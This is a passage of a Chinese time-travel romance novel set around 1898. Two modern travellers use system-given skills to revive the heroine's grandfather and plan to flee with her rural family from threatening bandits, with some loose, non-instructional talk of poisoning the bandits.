骑着马动静太大,加上两人不方便露面,霍骁北就没进村子。 在靠近村口的位置他转了方向,照原主的记忆绕到土匪山的背面,带着温苒进了和另一座大山围成的山谷里。 这坳子的位置不算深山,当下时节却也鲜少有人光顾,作为临时落脚的地方还算合适。 帐篷外,霍骁北搭灶生火,熬了一锅浓浓的小米粥。 米粥配上系统签到曾经奖励的肉夹馍,和霍骁北自己腌的小咸菜,就是今天两人的晚餐了。 日头还没落山,但山里黑得早,看东西已经不那么清楚了。 霍骁北拿出台灯搁到折叠饭桌上,摆饭开吃。 温苒早就饿得前胸贴后背,比她脸还大的肉夹馍她哐哐干了一个半,小米粥也灌了两碗。 怕她撑坏了,霍骁北拦着没让再多吃。 穿越后,两人的身体还是自己的长相,但状态完全复刻原主的情况,旧社会老百姓的生活水平能有多好?怕是打小就没吃过一顿饱饭,导致温苒现在看到吃的就眼冒绿光。 肚子虽然吃撑了,温苒还是觉得饿,从系统包裹里一堆东西中挑出牛肉干来磨牙。 一切不幸中的万幸。 她没有裹小脚。 嗯,但霍骁北留了辫子。 只是本该锃光瓦亮的大脑门长了一茬儿短发,这么着比秃子也好看不了多少。 随着满清政府的统治力减弱,民间男子的发型虽还一直保留着后头那根辫子,但前面额头上的头发干脆不剃或很长时间才剃一次。 这种情形演变到后来,清末民初时,一场剪发易服运动席卷全国。 现在,霍骁北还不能剪辫子,但温苒决定剪头发。 在尘土飞扬的道路上跑马会逼死洁癖,温苒不是洁癖,她只是爱干净,受不了打结的长头发里满是细细密密的沙子。 及腰的长发咔嚓剪到过肩的位置,再轮番上阵洗发水、杀菌药剂、护发素和护发精油,最后吹干头发,中分绑一条麻花辫。 温苒捧着脸,对着镜子里的自己左右打量,还好是自己的克隆身体自己的长相,不然该多别扭。 之后轮到霍骁北,他还没洗过这么长的头发,洗之前干脆也咔嚓了一剪子剪短了点儿。 洗完头发,两人又轮流擦了擦身上。 一通折腾下来,刚吃的饭又饿了,于是端出饭菜又吃了一顿。 霍骁北给温苒夹菜,“慢点吃,不够还有,待会儿吃完我带你进村。” 温苒咽下饭菜,抱着杯子灌了一肚子橙汁,问他:“那些土匪就我们两个人暂时对付不了,要不我们出钱,送温家人去关外?” 关外是指山海关以外,关内百姓去关外谋生,就是闯关东。 闯关东是清末著名的人口大迁移之一,咸丰时期颁布了开禁放垦政策,旨在移民固边,此后深受天灾人祸的民间百姓纷纷向地广人稀的墨江地区迁移。 霍骁北想了想,同她道:“那你现在的家人大概会带 我们一起。” 温苒:“……” 但她们又不能留下,她们得赶紧想办法去国外。 难不成去国外也要带温家人一起? 这个问题暂时不考虑,填饱肚子后,趁着夜色两人下山进了村子。 温家。 白日里叫土匪推倒的围墙还未被清理,老爷子昏迷在床至今未醒,大家都没那个心思关心别的。 温家老三和媳妇儿陈六娘在炕边伺候温老汉,眼泪还在流,但心里头已经没了指望,神情死寂麻木。 堂屋里,过来看老爷子的宋童生宋守言啪嗒啪嗒抽着旱烟,眉头愁得能夹死苍蝇。 “唉这世道,前个儿皇帝大婚把咱们直隶刮了一遍又一遍,听镇上说书的讲,那排场跟世祖皇帝当年大婚比也不差!” 可也不看看这什么光景,前年黄河发大水,上年整个夏天就下了两场雨,地里蹦哒的蚂蚱比蚊子都多,今年土匪大摇大摆地进城那些官兵连屁都不敢放一个! 奶奶的这什么世道? 真想裹上红头巾,反了他丫的皇帝小儿! 第32章 第32章1889从闯关东开始2…… 老百姓日出而作日落而息,太阳一落山就缩回房子里。 除了天边静静注视着这片土地的月亮,原始的村落里一丝光亮也无。 这样寂静的氛围里,两个人影进了村。 踩着几声犬吠,温苒和霍骁北停在了温家倒塌的院墙前。 谁干的? 不会是那些土匪吧? 那些丧心病狂的土匪该不会把这一家灭门了吧? 一股寒意从脚底涌上心头,温苒害怕地躲进身旁人怀里,浑身发抖,声音细微到几不可闻,“霍骁北?” 霍骁北将人抱紧了,轻抚着她的后背安慰,“不怕,有我。我听见了里面说话的声音,人应该没事。” 温家院墙倒了,大门关不上,干脆安排了人守在院里。 两人站在门口说话,院里人隐约能听到细微话音。 靠在墙后打盹儿的二哥温一茂探头一看,跟见了鬼似得屁股尿流爬起来,冲出去低声吼了句:“还不快进来!” 说着一手拽一个,老鼻子牛劲儿愣是把两人拖进了院子。 这么大动静,堂屋众人纷纷起身出来。 没塌的两面墙落下一片浓重阴影,温苒和霍骁北就站在阴影里,面容模糊叫人看不清。 但即便看不清,对面的温家人也一眼就认出来,那是家里年纪最小最宝贝的孩子。 大伯娘张玉香抹着泪跑过来,一把将温苒搂进怀里,带着哭腔:“孩子你怎么回来了?” 抱了一会儿,她松开温苒用力推了一把,“你不能回来!你快走!快让霍家小子带你走!走得越远越好!” 后头一起跟过来的二伯娘杜月娘拍了大嫂一下,哭着道:“让孩子再等等,见她爷爷一面再走!” 宋守言啪嗒抽了口旱烟,转身进屋一边道:“一茂娘说得没错,让孩子见见她爷。” 老叔岁数大,这回不知道能不能挺过去,万一有个万一……好教老头儿没什么遗憾地闭眼。 东头屋里,三房两口子一心照顾老爷子。 可听见外头的动静闹了有一会儿,陈六娘就出来瞅一眼情况。 这时温苒被簇拥着朝屋里走,母女两个在门口相遇。 猝不及防见到心里惦记的闺女,陈六娘呆了一瞬,回过神来腿一软跌跌撞撞地上前扑向温苒。 温苒伸手将她托住,“娘你慢点儿。” 陈六娘趴在女儿怀里,压抑着声音嚎哭,“花儿!娘的花儿啊!你回来做什么?你快走!” 众人听了,纷纷不忍地别过头去抹泪。 白日里甚至就在刚才陈六娘还在后悔,后悔让闺女和霍家小子私奔,到了却要用家里所有人的命来偿。 她是花儿的娘,为了自己闺女她怎么着都行,但她不忍心连累大家。 可现在陈六娘亲眼见到自家闺女,又只想让她走得远远的。 那土匪头子要人没有,尽管来取她的命就是! 大伯温向生叹着气抹了把脸,劝道:“弟妹,让小苒去见爹一面,说几句话,说完马上让一荣一茂兄弟俩送花儿离开。” 陈六娘抬头不舍地看着自家闺女,说道:“咱家院子不知道叫哪个不长眼地给撞塌了,把你爷爷气着了,你别担心,不是什么大毛病。” 宋守言吧嗒着旱烟,附和这个说辞:“嗯,老叔气性大,其实没多大事。” 温苒垂下红彤彤的湿热的眼睛,“让我看看爷爷吧。” 因为是传送失误,系统补偿了两人一人一个技能,温苒的技能是满级神医技能,只要人还有一口气她就能救回来。 可别人不晓得,他们只以为温苒说的看看就是看看,没别的意思。 但在此之前,温苒抬头看向身侧高大沉默的男人,“你去帮我把东西拿过来吧。” 霍骁北点点头,他知道她说的是什么。 另外,他看了眼这一屋子蓬头垢面面黄肌瘦的人,说道:“我和温苒还带了些吃的,大哥随我去拿一趟?” 温苒? 满屋子人脑袋上蹦出问号,谁啊? 温苒是谁?谁是温苒?除了你俩还有别人一起来了? 还有大哥? 温一荣茫然眨眼,这小子不是在喊他吧? 最先反应过来的竟然是宋守言,他是读书人,和温家的关系不错,是以温苒这一辈儿兄妹三个的名字都是他取的。 他记起来了,三房的闺女小花儿的大名就是温苒啊! 经他一提醒,大家恍然大悟。 陈六娘摸着自家姑娘的头发,连连点头:“对对对!我家小花儿的大名是叫这个!” 温苒:“……” 有预感接下来她还得被叫一阵子小花儿。 大哥温一荣跟霍骁北出门去取东西。 守大门的温一茂听了一脸迷惑,这俩人回来带东西了吗? 结果没多会儿功夫,温一茂就见大哥和便宜妹婿一个端着锅一个挎着筐回来了。 锅里是粥,某年霍骁北煮的八宝粥,专门给温苒熬的,喝了一年都没喝完,而到了新的一年霍骁北又会熬新的八宝粥。 系统包裹里还有包装的速食八宝粥,是霍骁北买来自己当早餐喝的。 他虽然有一手好厨艺,但在吃喝上并不怎么讲究,只要能填饱肚子就行。 说起来他也是在遇到温苒以后,为了让这姑娘来自家吃饭,才正儿八经地琢磨起来厨艺来。 大概他在这方面有些天赋,对着几块钱一本的菜谱做出来的饭菜都让人赞不绝口。 或许等到了国外,霍骁北设想着,他可以开一家餐馆。 东西搁到堂屋的四方桌上。 八宝粥还腾腾冒着热气,旁边筐里黄澄澄玉米面饼子满满当当,散发着清甜香味。 温一荣进屋喊大家吃饭,今天就早晨那会儿熬了锅棒子面粥,一人一碗别说男人们了女人也扛不住。 温一茂早就饿得直咽口水,现下闻着饼子的香气他实在没忍住,飞快抓起一个就哐哐往嘴里塞。 饼子一口入温一茂就睁大了俩牛眼,怎么会有这么香这么暄软的窝头?比他吃过的白面馍馍都好吃! 而且里面有馅儿?他迫不及待地嚼了嚼,眼睛睁得更大了,还是肉丁儿? 东屋头,屋里安静得可怕,大家屏着呼吸气都不敢出重了,生怕惊扰了苒丫头。 苒丫头说她会医术,虽然大家都不信,但这丫头一身的架势拿得足足的就挺唬人,把她们都给唬了。 温苒坐在炕头,神情严肃地摸着温老汉的脉。 陈六娘紧挨着闺女坐,温向安站在一旁也离闺女很近。 有满级神医技能,脉相一入手温苒就完全清楚了对方的身体情况。 旧社会的穷苦老百姓深受压迫,吃不饱穿不暖,夏干三伏冬干三九,还有数不尽的操心事,外表看着能吃能喝能干,其实浑身的大小毛病一堆。 老爷子说是老爷子,看面相黑黝黝的脸上满是皱纹,头发也掺了白,其实还不到五十岁。 老头儿的身体就跟个筛子似的,筛子上的窟窿眼还个个都贼宽敞。 这样的身体状况,稍稍受个刺激就可能闭上眼再也醒不过来。 门帘掀起,温一荣和霍骁北进来。 温一荣:“宋叔,爹娘,二叔二婶三叔三婶,有粥和窝头,还热乎着你们好歹吃点,我在这儿照顾爷爷。” 宋守言摆摆手,“让你爹他们先去,我待会儿再吃。花儿呢?你吃了没?没吃也先去吃,等你爷爷醒了我再喊你。” 温苒摇头,“我和北哥吃过了。” 霍骁北走近,把手里的医药箱放在她手边。 宋守言让他们都去吃饭,他自己留下。 温向安和陈六娘不想去,饭什么的一顿不吃也没什么,还是闺女重要。 等温苒开口说她们不吃她心疼,这夫妻俩才依依不舍地离开。 都出去吃饭了,温苒打开药箱,宋守言举着蜡烛好奇地上前,就见箱子里分了三层而每一层又分出几个格子,布局井井有条让人舒适。 温苒打开了其中一个格子,宋守言看到里面的东西,手里的烟斗和蜡烛差点儿扔出去,“这这这这是人参?!” 他急切地往上凑了凑,借着烛光仔细观察后,确认这绝对就是人参没错! 霍骁北面无表情嗯了声,似是随口解释了一句:“我和苒妹进山采到的,大的那根卖了换钱,这根小的留着自己用。” 宋守言无声地张张嘴,抬头看看这小子,再低头看看那根手指粗的‘小’人参,脑子都有点不会转了。 这还小?这起码也有手指头粗细了? 别欺负他没见识啊,他怎么也是个童生,读书人知不知道? 读书人眼睁睁看着温苒切下一片人参,塞到了温老汉嘴里。 宋守言想起什么,“丫头你这医术跟谁学的?能不能成?我看书上讲药是不能随便用的,像这人参是大补之物,但你爷爷的身体……不是我说,太虚了,虚不受补。” 嗯,这是个有见识会思考的读书人。 温苒没说话,她这人不会撒谎,一撒谎就脸红结巴。 所以还是交给霍骁北解释:“和太行山里一个老大夫学的,有两年了。” 太行山里奇事多,晋冀两地的太行山就和北三省的长白山一样,在老百姓心中充满了奇幻色彩。 宋守言表情惊奇,“咋之前没听说过?” 霍骁北神色淡定,“之前大夫说苒妹没出师,不许张扬。” 听着像世外高人的调调,有这种要求不奇怪。 烟斗虚空点了点温苒,宋守言又问:“那现在苒丫头出师了?” 霍骁北言简意赅:“嗯,苒妹出师了,老大夫不久前仙逝。” 直接把宋守言可能问的下一个问题给堵了回去。 宋守言吧嗒吸了口烟,呼出来的烟雾盘旋着消散在空中。 一阵沉默后,他皱着眉头,开口道:“院墙是那些土匪扒的,地里刚栽的庄稼也被毁了,他们放话,说三天之内要见到苒丫头。” 宋守言盯着两人,“你们怎么想?” 第33章 第33章1898从闯关东开始3…… 话音落下,却听屋外一声脆响,像是什么东西摔在地上碎了的声音。 随即门帘被掀开,一道身影冲进来挡在温苒面前。 温苒仰头,凭借着蜡烛的光芒认出了陈六娘的身份。 陈六娘一面死死护着闺女,一面回头冲宋守言低吼:“你胡说?你不能留下我家花儿!你给我走!你走!” 宋守言:“?” 不是?我操心的这到底是谁家事儿啊? 屋里的动静传到堂屋,顿时呼啦一群人担心地挤进来。 温向安一见媳妇儿护着闺女的架势就猜到了什么,立马拽上便宜女婿一起挡在娘儿俩身前。 他嘴皮子不利索,没说话,但意思就一个,他闺女他护定了! 老大温向生看看小弟和弟媳,再看看宋守言,眼神询问发生了什么。 宋守言:“……” 宋守言无语地抹了把脸,这叫什么事儿? 他开口解释:“我也没说啥,就问问苒丫头霍家这小子有什么打算。” 温向生张了张嘴,还没出声,就听小侄女的声音遥遥传出来:“我知道宋伯伯没有恶意,娘,爹,你们不用这么紧张。” 可温老三夫妇一动不动,根本不听。 这是连自家兄弟都信不过了。 温苒无奈,只能捋着她娘的后背安抚。 温向生叹气,“老三你别这样,咱说了要送花儿离开就送她离开。花儿是你们两口子的闺女,也是我和老二的侄女。咱家孩子少,打小咱们三兄弟就都拿他们仨孩子当自己亲生的,花儿也就是我和玉香的亲姑娘,我怎么能把亲闺女往火坑里推?” 老二温向平高大的个子比门框还高,一向憨厚沉默的他不怎么会说话,只是默默站到了小弟温向安身旁。 他和他们夫妻一个意思。 温家三兄弟有意思,老二老三是锯嘴的葫芦,反而是老大能说会道。 宋守言瞅瞅那个瞅瞅这个,提议:“既然你们都没有异议,不如先听听苒丫头和霍小子怎么说?” 他还没说完,温向安就大声道:“她们走!马上走!” 但紧接着一道声音就否决了他的话:“我不走!” 以防这一屋子人尤其是她爹娘冲动行事,万一当场把她们架出去,温苒不敢停顿,又道:“霍骁北你说!” 结果下一秒她娘抱着她的力道就加大了,温苒只好飞快小声同她道:“娘我们一起走!” 陈六娘愣了下,随即两眼放光。 对啊! 为什么不一起走? 和温一荣去取饭的路上,霍骁北已经从他嘴里打听出来这两天发生的事。 沙麻金派人毁了地里的庄稼,扒了温家的院墙,还放话说三天之内要见到温苒。 而若是温苒迟迟不出现,凭这帮土匪杀人如麻,温家这几口人是真的会有性命之忧。 刚才温苒也从宋守言那里得知了这些事,小两口虽然没说话,但用眼神交流已经确定了接下来的计划。 ——带温家人离开。 霍骁北道:“我和小苒回来,是想带家里人一起走。” 温一茂和他爹温向平如初一辙的壮实体格,却没有继承他爹的沉默寡言,他向来直肠子有什么说什么。 “我同意!咱们要走一起走!” 他娘杜月娘回头就锤了她一拳,“你闭嘴!吃你的窝头去!” 温一茂委屈巴巴地去瞅小妹,结果人太多看不着,只好去看大哥。 温一荣是三兄妹里最沉稳的,他也说:“我也同意。” 温一茂立马扭头看他娘,你看! 杜月娘白了儿子一眼,去看自己男人,其实她也觉得可以一起走。 苒丫头肯定不能让她进土匪窝,但剩下这么一大家子也不能干等死啊! 既然要走干脆就一起走! 温老汉昏迷不醒,拿主意的就是老大温向生。 张玉香催促自家男人,“他大伯你拿个话儿,要走咱最好赶早,今晚就收拾动身,不然迟了走不走得了可还两说。” 温向生眼底动了动,“爹还没醒。” 他心里已经有了决断,可背井离乡这种大事总要问过他爹才行。 温苒用银针刺穴叫醒了老爷子。 温老汉悠悠转醒,入眼却是一片昏暗,他就以为自己已经没了,眼珠子一转看到温苒,小孙女也没了,爷孙俩一起下来了! 温老汉那个眼泪登时就哗啦啦的,因为含着参片说话囫囵不清:“花儿你怎么也下来了?是爷爷看走眼了,爷爷对不起你啊,爷爷以为霍家那小子是个好的没想到嘎——” 没想到温老汉一眨眼就发现旁边围着一群人,而且小孙女身后就站着霍家的臭小子? 再一瞅这群人,他们老温家从大到小包圆儿了,都在这呢儿! 呃,宋守言也在…… 温一茂个傻大个捧着半拉窝头瞎乐呵,“爷你说啥呢?什么下来了上去了?我们刚才商量要和小苒一起走,大家都同意,就差你了!” 温老汉觉得自己需要静静。 于是他又躺回去,躺下后还呸了下 ,把嘴里不知道什么东西给呸出去。 哪想到他不过吐了下脏东西,宋守言却一声暴喝:“你干啥呢老叔?!” 被这么一吼,温老汉懵了下,然后一脸委屈地坐起来,他想说什么还没来得及说,就见宋守言扔掉他的宝贝烟斗哐哐地利索爬上炕去够什么东西。 众人一瞅,纷纷别过头没眼看,那不我爹/爷/自个吐的唾沫星子吗? 宋守言你还是读书人呢这么不讲究? 知道宋守言心疼什么的温苒和霍骁北:“……” 宋守言捡回来参片,反手就给温老汉塞回去,大声呵斥:“你给我含着!这是参片!你个不识货的老东西瞎吐什么吐?!” 啥?! 温老汉也顾不上脏不脏,立马把嘴闭得紧紧的,整张脸都皱吧起来仿佛在用力。 其他人也都惊了,“参片?哪来的?” 大家疑问着,眼神却落在了温苒和霍骁北身上,要说可能也就这俩人可能了。 宋守言三言两语给大家解释了一下,包括温苒的医术和人参。 陈六娘抱着闺女,稀罕地上下打量,“乖乖,我闺女现在难不成是大夫了?” 温苒点头,半点儿没有不好意思,还出言纠正:“是神医。” 陈六娘笑着应和:“好好好,是神医。” 她回头看着大家说:“那往后咱家里人再得病可不怕了。” 一屋子人顿时就着温苒成了大夫这点热烈地讨论起来。 炕上正襟危坐板着腰绷着腿的温老汉眼睛瞪老大,看这个看那个使眼色使了半天,结果没一个人搭理他,气得他喘气都粗了。 还是霍骁北发现了,拿手绢垫着送到他跟前,“吐出来吧,我去端饭,您先吃点东西。” 温老汉感激地看着便宜孙女婿,他真是没看走眼,这是个好小子! 他小心翼翼吐出参片,又一下一下小心地折着手绢包起来,完了拿过来揣自己兜里。 接着温老汉转过头低喝:“安静!都别吵,先给我端碗棒子面粥让我垫垫肚子,花儿你在这儿陪老头子说话,其他人老大你安排着拾掇家底,都给我动静小点别让人听见了!” 话音落下静了两秒,霍骁北开口补充:“要是别家来问,就说要送爷爷去镇上看病。” “另外,大件东西不用带,带上粮食衣服和一卷铺盖就行。我和小苒卖了一根人参手上有些积蓄,缺少什么到了地方再买。” 温老汉诧异地望着便宜孙女婿,正式打量他几眼,这小子可以。 温向生听了去看他爹,温老汉对大儿子点点头,“听你女婿的。” 一家之主下了指示,满屋子人哗啦啦散了。 东屋这头就剩四个人。 霍骁北出去端了粥和窝头进来,温老汉和宋守言坐在炕沿上,端着碗拿着窝头边吃边说。 温老汉先问宋守言,“你也一起跟咱们走吧?” 宋守言想了想,“那就一起吧,再带上周凯。” 宋守言和温苒的二伯温向平差不多大年纪,他家现在就剩他一个。 十几年前大灾荒的时候,宋守言外出买粮,宋家仅剩的一点粮食被偷,他的妻儿被活活饿死。 村里人还想偷他的孩子下锅,要不是温老汉发现了死命拦着,等宋守言回来怕是连妻儿的骨头都进了肚子。 也因为这件事,宋守言不再和村里人来往,还把家搬到了偏僻的温家旁边。 温家是村里的独姓人家,多年前逃难过来的,独木难支,温家人平时和其他同姓同宗的大姓人家连说话都不敢大声。 蜡烛烧到底了,霍骁北换上新蜡烛,暗下去的屋子又亮起来。 他问这两位拿事的长辈,“咱们这么走了,土匪会不会牵连村里人?” 宋守言听见这话沉默地摇摇头,“那也是没办法的事,山上的是土匪不是大善人,他们见过血杀过人连官兵都不敢动他们。” “就算没有我们,土匪就会放过村里人吗?” 温老汉沉着脸。 人不为己天诛地灭,他不可能为了村里人去牺牲小孙女。 一家人就该同甘共苦,他也不可能为了家里其他人牺牲小孙女。 温苒和霍骁北默然。 乱世之中,能保全自己就已经很不容易。 第34章 第34章1898从闯关东开始4…… 可是,如果真的因为他们牵连了村里其他人,日后每每回想起两人都会良心不安。 温苒抿了抿嘴唇,“其实,宋叔你见多识广应该知道医毒不分家。” 见血封喉的毒药她这里要多少有多少。 书里不都这样写吗? 给土匪喝的水里吃的饭菜里倒上毒药,不费吹灰之力就能解决对方。 还有更夸张的毒烟她觉得可行性不大就没说。 宋守言张着嘴久久无言,好半晌后才道:“山上是有条河,土匪吃的就是那里水。” 啊?河里下毒能行吗?是不是得哐哐倒十来斤才有作用? 温苒还在怀疑着,就听宋守言话锋一转:“可咱村里也吃啊!” 温苒:“……” 杀敌一千自损八百是吧? 温苒木着脸,“如果能混进去,下毒应该不难。” 但她话没说完,温老汉就严肃地呵斥道:“谁去?你去?你敢去我就敢死在你跟前!你当土匪窝是那么好进的?去了就是送死!你不许再给老头子动歪脑筋!” 劈头盖脸一顿训直接给温苒训得不敢再开口了,她于是求助地望向霍骁北,靠你了。 霍骁北自然不会辜负媳妇儿的期盼,抬头说道:“我去应该……” 结果刚开了个头,温老汉就毫不留情打断:“臭小子你也给我老实待着!我当老头子以前那么乖巧的小孙女是跟谁学的胆子这么大?原来是跟你小子学的啊?就你小子能逞英雄是吧?还你去?人官府都管不了的土匪你一个人你能干什么?你去送人头啊?” 非常好,霍骁北也被打回来了。 小两口对视一眼,看来只能等一等再提。 但总归有些事她们是一定要做的。 那不提这个,还有个问题呢,温苒问道:“咱们要往哪里走?” “要不要去沪海?或是广州?” 温老汉一脸‘你这孩子说啥玩意呢’的表情。 还是宋守言见多识广,跟他解释,“沪海在江浙一带,据说比北京城还繁华,洋人们在那地儿占了很多租界。广州在沪海南边,那边儿洋人也多。” 一听两地都有洋人,温老汉想也不想就拨浪脑袋,“不成不成!咱连土匪都得躲着走,哪儿招惹得起洋人?” 宋守言咂咂嘴有点遗憾,这俩地儿繁华富庶,委实值得去看一看。 他问:“那你想去哪儿?” 温老汉眼神发直干巴巴地嚼着窝头,过了会儿端起八宝粥呼噜噜几口清了碗底,一抹嘴说道:“去晋省,或者关外。” 他说完,眼神一一点在三人身上,等待他们的回应。 宋守言举起粥碗一饮而尽,投出他的一票:“去关外吧。” 温苒脑海中一瞬间浮现出如横穿西伯利亚、东渡白令海峡等等匪夷所思的出走亚洲的计划。 她自己都挺无语,赶紧晃晃脑袋晃走这些想法,然后十分严肃十分强硬地坚持她的选择:“我想去沪海。” 听见这话,温老汉仰头看看屋顶,低头瞅瞅蜡烛,嘟囔着回应:“沪海太远了,老头子这把岁数怕走不到就没了,没了就没了,万一见不着你奶该咋办?” 温苒茫然地眨了眨眼,倏地长睫颤动,她扭头望向霍骁北,杏眼瞪圆。 这老头儿是在跟她卖惨吧?是吧是吧? 霍骁北在桌下悄悄握住她的手,俯身低声同她道:“别着急,我们有十年的时间可以慢慢准备。” 温苒抿了抿唇角,十年的时间其实一点都不充裕,但是…… 算了,又不能丢下这家人不管,照 她爹娘看她跟眼珠子似的态度,她要是和霍骁北一意孤行去沪海,怕是夫妻两个要疯。 小两口头碰头说悄悄话,宋守言瞧见,胳膊肘拐着温老汉,呲个大牙让他也瞧。 温老汉操起砂锅大拳头挥走这瞎热闹的后生,合着不是你姑娘是吧? 用得着宋守言提醒?他早就瞧见了,臭小子把小手拉上这么久还攥着不肯撒呢! 温老汉看不过眼,脖子一梗喉咙里咳出声来。 小两口齐齐扭头望过来,但手还没撒! 温老汉刚想说什么,外头院里传进来一道不同寻常的声音:“叔伯婶子们,大半夜你们这、这拾掇屋子还是收拾东西呢?这是要干啥?” 是外人! 屋里四人脸色一变,不约而同地噤声。 宋守言跃下炕头,步履匆匆地朝外去,丢下一句:“老叔你给他俩找个地儿藏起来,我去瞅瞅情况。” 温老汉打开木柜子让两人钻进去,他守在柜子旁边警惕着外头的动静。 老大温向生的声音传进来,他叹着气语气发苦:“唉,我爹晕了两天多还没醒,眼看着不中用了,我们兄弟不死心,想送老头儿去镇上医馆让大夫瞧瞧,好歹能得个准信不是?” 紧接着,赶到现场的宋守言接过话头:“这不巧了,家里那几个大钱都叫花儿和霍家小子私奔带走了,正愁没钱医馆不让咱进呢,你们来得真巧,救人救急,你们赶紧回趟家拿钱过来!” “啊?我家也没几个钱啊,我家过年都吃不上肉呢!” “我家也是,哪有钱啊?宋童生你瞅我这袄子都穿几年了也没钱换一件!” 一听说要钱,门口探头探脑的几个人纷纷摇头摆手找借口溜了。 宋守言抻起脖子重重一扽,朝地上呸了口唾沫,盯着几人待过的地方眼神阴沉。 很快他收回视线,看一圈三房的人缓下声音说:“你们继续收拾,一茂你看着点外头,有什么动静警醒着点儿!” 听见人都走了,温老汉赶紧打开柜子让俩人出来透气。 宋守言刚好掀帘进来,急冲冲道:“坏事了儿!霍家小子你带小苒先走,咱们在镇上汇合!” 温老汉脸色一白,“怎么了?难道是那帮土匪来了?” 宋守言找到外头穿的大袄,展开抖了抖边往身上套边说:“来的那几个小子是咱村里的无赖!” 他冷笑,“呵!说什么听到动静过来关心,他们压根儿就不住这附近!分明是帮土匪盯着咱家来的!” 霍骁北瞬间收紧抱着温苒的力道,身体紧绷起来,“别怕,我们马上就走。” 温苒靠在他怀里紧咬着嘴唇,她有点怕,但更多的却思绪却在想毒药都还没做呢,被抓进土匪窝该怎么办? 温老汉大惊失色,“什么?他、他们怎么能这么做?” 宋守言咬牙咬得咯吱响,“我早就知道他们什么德性!” 宋守言转向相拥的俩人,嗓音浸着寒意:“现下你们知道了什么叫人善被人欺,你们可怜村里人,却不晓得村里人一直躲在你们背后等着捅刀子呢!” 他系上腰带,“别磨蹭!我去引开那几人,你们趁机赶紧走!” 温老汉一听忙去推这俩人,“对赶紧走!” 温苒看向老人,“爷爷,咱们说好要去关外的。” 温老汉举起手背抹泪,依依不舍地跟着送到门口,“爷爷向来说话算数,咱们一起去!” 宋守言带二哥温一茂出门,以借钱的名义拖住那几个无赖。 霍骁北带温苒从温家塌了的院墙口飞快离开,月夜之下,宛如一道穿林而过的疾风消失在阴影里。 屋檐下,温老三夫妻在心里替两人捏了把汗。 目送闺女平安离开,夫妻俩仿佛泄掉全身的力气扶着墙瘫软在地,手心阵阵钝痛,抬起来却看到一片血肉模糊。 霍骁北第一次尝试使用技能,满级古武技能让他可以做到飞檐走壁,在水面上如履平地也易如反掌。 顺利带温苒回到山拗子里,他紧绷的精神却也没有松懈,而是低头看向紧缩在怀里的温苒。 “别怕,苒苒,别怕……”霍骁北抱着她进帐篷,轻拍着她的后背。 好半晌温苒才稍微松开抱着他的力气,声音沉闷:“我没怕,我觉得你的技能比我的好。” 霍骁北低头,浅浅亲了亲她的眉心,嗓音含着笑意:“是吗?我觉得你的技能更好,你制作毒药,我才能混进土匪窝下药。” 温苒抬眸,眼底盛满跃跃欲试,“怎么混进去?利用刚才那些无赖?” 霍骁北却不说了,“太晚了先休息,明天见到宋童生问问他的想法。” 温苒鼓起腮瞪他,“你是不是想一个人偷偷进土匪窝?不带我是不是?” 霍骁北:“……” 霍骁北是有这个意思,古武技能是还可以,但谁能保证万无一失? 温苒掰着他的脑袋让他看着自己,凶巴巴吼道:“你休想!” 霍骁北低头去亲她,手臂圈着她的腰不让她躲,故意调笑:“我自己去等我回来我们就浪迹天涯,我们一起去可就是做亡命鸳鸯。” 温苒瞪圆了眼睛,这么不正经的话霍骁北你从前那么正经的人是怎么说出来的? 她一把捂住霍骁北不老实的嘴,“但你自己去万一……万一……” 万一回不来怎么办? 温苒垂下脑袋,极轻极轻的嗓音砸在霍骁北心口上,“要不我们别顾及其他人了……” 安静的帐篷里,温苒听到头顶的呼吸顿了顿,她抿了抿唇角,张口想要再重复一遍,腰上却忽地传来一股大力,她重重跌进近在咫尺的怀里抱里。 粗重的呼吸在耳旁起伏,温苒听见了他的声音:“我也想,但苒苒你以后会后悔,我也会后悔。” 温苒抵着他胸膛的手收紧,轻声:“可如果有万一……不用以后,我就会后悔,我可以做个坏人。” 不做好事就是坏人,那这天底下就没有好人了。 温苒手下的胸膛震了震,她敏锐地察觉到这是好似嘲笑的行为。 温苒抬手就是一爪子,“你不许笑!” 霍骁北停下笑声,抚摸着她的头发,“那好吧,我和你一起。” 温苒仰起头,杏眼亮晶晶的,讨好地亲了他下巴一口,然后不满地哼道:“你是不是怕我拖后腿?我才不会!我射击次次十环我还会搏击还会散打这些不都是你教我的吗你难道忘了?” 第35章 第35章1898从闯关东开始5…… 霍骁北皱眉故作疑惑,“是吗?我教过你这些?” 温苒小鸡啄米一样点头,“嗯嗯嗯!” 霍骁北摇头,“我怎么从来没听过一声‘老师’?” 温苒:“……” 温苒在他怀里坐直,表情严肃,两手捧起他的‘大脸’,“你外语都是谁教的?” 英语法语德语…… 而且这人先前就有哪里不对,英语这么普及的第二外语他都不怎么熟练,俄语却说得十分流畅。 穿越后温苒听他坦白,才知道他早就穿越过一次,在上辈子的上辈子霍骁北生活在华国的六十年代前后,也就怪不得俄语那么熟练。 霍骁北:“……” 温老师和霍老师打平。 时间很晚了,温苒困得打哈欠,但她一想到要进土匪窝大杀四方就激动亢奋地睡不着。 她甚至现在就爬起来打算制作毒药。 霍骁北:“……” 霍骁北强硬地把温苒摁回被窝,手臂禁锢着这快要蹦哒上天的姑娘,关灯。 “睡觉。” 温苒:“……” 山下。 二房夫妻连同温一荣温一茂两兄弟连夜送温老汉到了镇上。 次日清早饭刚过,温家就迎来了不速之客。 村里有名的无赖流氓前头簇拥着几个土匪,后头远远坠着看热闹的村民,一群人乌泱泱地出现在温家大门外。 大房三房夫妻装模作样地拾掇院墙下的狼藉,心里 则在盘算着去关外还要带些什么。 瞧见来人,四个人脸色煞白,不自觉地瑟缩发抖,心下又惧又恨,怕被看到忙垂下脑袋掩饰情绪。 宋兄弟说得没错,自家这遭祸事果然是那几个无赖招来的! 分明自打土匪来了镇上他们就拘着孩子不让出门,可土匪们还是找上了门来! 这帮丧了良心烂了心肝的,肠穿肚烂下十八层地狱! 来的土匪一声暴喝,“人呢?还不滚出来回话?” 温向生哆哆嗦嗦上前,“这位爷,不知您有什么吩咐?” 土匪前后点了点数,拧眉,“怎么就你们几个?其他人呢?都死哪儿去了?是不是跑了?啊?” 土匪说着一把薅起温向生的衣领,左右一边一个耳光,“把人都给我叫出来!少一个我剁你一根手指头!” 张玉香腿一软瘫倒在地,不停地摇着头流泪,“不要!” 听见动静赶忙起床穿衣的宋守言从隔壁过来,“这位爷息怒,家里老爷子昏迷了两天多还没醒,昨夜里连夜送去了镇上医馆,不信您现在派人去瞅瞅情况。” 听见声音,土匪转过头,上下打量他一遍,忽地笑着问:“赖子,这就是你说的咱村里的读书人,宋童生?” 